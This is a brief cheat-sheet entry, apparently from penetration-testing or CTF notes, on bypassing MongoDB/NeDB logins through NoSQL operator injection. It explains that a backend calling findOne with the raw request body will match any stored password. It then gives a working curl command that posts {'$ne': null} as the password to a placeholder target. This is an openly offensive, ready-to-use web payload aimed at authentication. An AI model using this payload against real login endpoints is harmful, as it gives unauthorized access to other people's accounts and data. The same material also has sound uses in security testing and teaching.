NoSQL Auth Bypass ($ne Operator Injection)
Bypass a login backed by MongoDB/NeDB by sending a query operator instead of a password value — the check becomes "password not equal to null".
# JSON login that injects an operator into the password field.
# The backend runs db.findOne({ username, password }) — {"$ne": null} matches
# any stored password, so authentication succeeds without knowing it.
curl -s -X POST http://<target-ip>/login \
-H "Content-Type: application/json" \
-d '{"username":"<user>","password":{"$ne":null}}'